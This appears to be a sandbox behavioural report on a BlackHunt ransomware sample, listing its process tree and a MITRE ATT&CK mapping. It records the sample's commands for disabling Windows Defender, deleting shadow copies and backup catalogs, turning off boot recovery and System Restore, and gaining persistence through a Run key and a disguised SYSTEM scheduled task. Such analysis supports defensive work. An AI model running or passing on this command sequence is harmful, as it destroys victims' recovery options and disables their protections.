"C:\Users\Admin\AppData\Local\Temp\ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:240
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1372
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe" /F
  2⤵
  PID:1624
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1820
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    - Suspicious use of WriteProcessMemory
    PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:824
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1536
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:784
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:400
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2272
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2128
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    - Modifies registry class
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2380
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:332
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:904
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:600

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:1072

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:2268

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:2180

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2628

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:2964

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2104

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery